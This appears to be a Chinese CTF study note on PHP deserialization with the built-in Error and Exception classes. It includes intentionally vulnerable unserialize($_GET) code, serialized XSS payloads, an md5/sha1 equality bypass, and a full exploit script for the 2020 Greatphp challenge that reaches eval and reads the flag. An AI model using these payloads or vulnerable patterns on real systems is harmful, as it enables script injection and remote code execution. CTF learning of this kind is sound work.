error类
- Error类是php的一个内置类,用于自动自定义一个Error,在php7的环境下可能会造成一个xss漏洞,因为它内置有一个 __toString() 的方法,常用于PHP 反序列化中。当 PHP 对象被当作一个字符串输出或使用时候(如echo的时候)会触发__toString 方法
- error和exception的内部基本是一样的,所以他们的利用和原理基本相同,下面不再单独讨论exception
Error implements Throwable {
/* 属性 */
protected string $message ;
protected int $code ;
protected string $file ;
protected int $line ;
/* 方法 */
public __construct ( string $message = "" , int $code = 0 , Throwable $previous = null )
final public getMessage ( ) : string
final public getPrevious ( ) : Throwable
final public getCode ( ) : mixed
final public getFile ( ) : string
final public getLine ( ) : int
final public getTrace ( ) : array
final public getTraceAsString ( ) : string
public __toString ( ) : string
final private __clone ( ) : void
}
-
类属性:
message:异常消息内容
code:异常代码
file:抛出异常的文件名
line:抛出异常在该文件中的行号
error实现xss
-
上面可以看到,error可以接收多个参数,其中的message参数表示报错信息,这个参数可以执行js代码
-
利用条件为有反序列化入口和能够触发tosting
<?php
$a = unserialize($_GET['whoami']);
echo $a;
?>
<?php
$a = new Exception("<script>alert('xss2')</script>");//error也是一样的
$b = serialize($a);
echo urlencode($b);
?>
- 经过测试,这个漏洞可以执行任意的js代码,而不仅仅只能和错误信息联系,比如可以用前面js基础那一篇里面提到的奇怪东西🤣
<?php
$a = new Exception('<script>
txt = "<p>浏览器代号: " + navigator.appCodeName + "</p>";
txt+= "<p>浏览器名称: " + navigator.appName + "</p>";
txt+= "<p>浏览器版本: " + navigator.appVersion + "</p>";
txt+= "<p>启用Cookies: " + navigator.cookieEnabled + "</p>";
txt+= "<p>硬件平台: " + navigator.platform + "</p>";
txt+= "<p>用户代理: " + navigator.userAgent + "</p>";
txt+= "<p>用户代理语言: " + navigator.language + "</p>";
alert(txt)
</script>');
$b = serialize($a);
echo urlencode($b);
?>
error绕过哈希
- 上面提到,构造error类可以通过控制message实现任意js代码执行,error类的第二个函数则可以实现绕过哈希
<?php
$a = new Error("good~",1);
$b = serialize($a);
echo urlencode($b);
?>
<?php
$a = unserialize($_GET['whoami']);
echo $a;
?>
- 将error类的结果打印出来
Error:
good~
in D:\phpstudy_pro\WWW\2.php:2
Stack trace: #0 {main}
Error是类名
good~是报错信息
in D:\phpstudy_pro\WWW\2.php:2是路径和错误行号
Stack trace: #0 {main}
- 可以看到,输出的信息并没有包含最上面提到的error类的第二个参数-错误代码,这导致了下面结果的产生
<?php
$a = new Error("payload",1);$b = new Error("payload",2);
if($a != $b)
{
echo "a!=b".'<br>';
}
echo $a.'<br>';
echo $b.'<br>';
if(md5($a) === md5($b))
{
echo "实例化error后a==b";
}
?>
(注意这里两个error类$a,$b要写在同一行,否则会造成行号不同而过不了哈希)
-
产生这种结果的原因是使用不同的错误代码实例化了两个不同的error类,所以$a != $b,而echo或者md5(md5也会将参数当作字符串处理导致error类被实例化)
-
将error类实例化后,$a和$b就指向了error类的返回结果,也就是Error: payload in D:\phpstudy_pro\WWW\3.php:3 Stack trace: #0 {main},这段字符串是不受错误代码影响的,所以内容相同可以过md5
-
简单的来说,控制错误代码(error类的第二个参数)不同可以过a!=b,但是哈希操作导致error实例化,使得类的参数不受错误代码影响导致结果相等
-
Exception 类与 Error 的使用和结果完全一样,只不过 Exception 类适用于PHP 5和7,而 Error 只适用于 PHP 7。
-
我们也可以控制错误代码相同试一下
<?php
$a = new Error("payload",1);$b = new Error("payload",1);
if($a != $b)
{
echo "a!=b".'<br>';
}
echo $a.'<br>';
echo $b.'<br>';
if(md5($a) === md5($b))
{
echo "实例化error后a==b";
}
?>
- 果然,第一个if过不了了,虽然是两个new,但是两者却指向了同一个内存空间,有点像前面java报告中提到的池化,但是java不会合并new出来的类,看了php不会管你是不是new出来的
[2020 极客大挑战]Greatphp
<?php
error_reporting(0);
class SYCLOVER {
public $syc;
public $lover;
public function __wakeup(){
if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){
if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){
eval($this->syc);
} else {
die("Try Hard !!");
}
}
}
}
if (isset($_GET['great'])){
unserialize($_GET['great']);
} else {
highlight_file(__FILE__);
}
?>
- 有了上面的方法,过三个if是十分简单的
<?php
class SYCLOVER {
public $syc;
public $lover;
public function __wakeup(){
if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){
if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){
eval($this->syc);
} else {
die("Try Hard !!");
}
}
}
}
$str = "?><?=include~".urldecode("%D0%99%93%9E%98")."?>";//flag的取反+urlencode
$a=new Error($str,1);$b=new Error($str,2);
$c = new SYCLOVER();
$c->syc = $a;
$c->lover = $b;
echo(urlencode(serialize($c)));
?>
- ?>用来将error生成的错误信息给闭环掉
- 过滤了php,前面的报告提到<?=等价于<?php echo
- 过滤了单引双引,取反绕过,这里有点迷,虽然$str里面是有双引号的,但是它们并不是被转义后的文本字符串,比如下面这个例子
<?php
if(!preg_match("/\<\?php|\(|\)|\"|\'/", $miao, $match)){
echo 'good~';
}
$miao=$str;
?>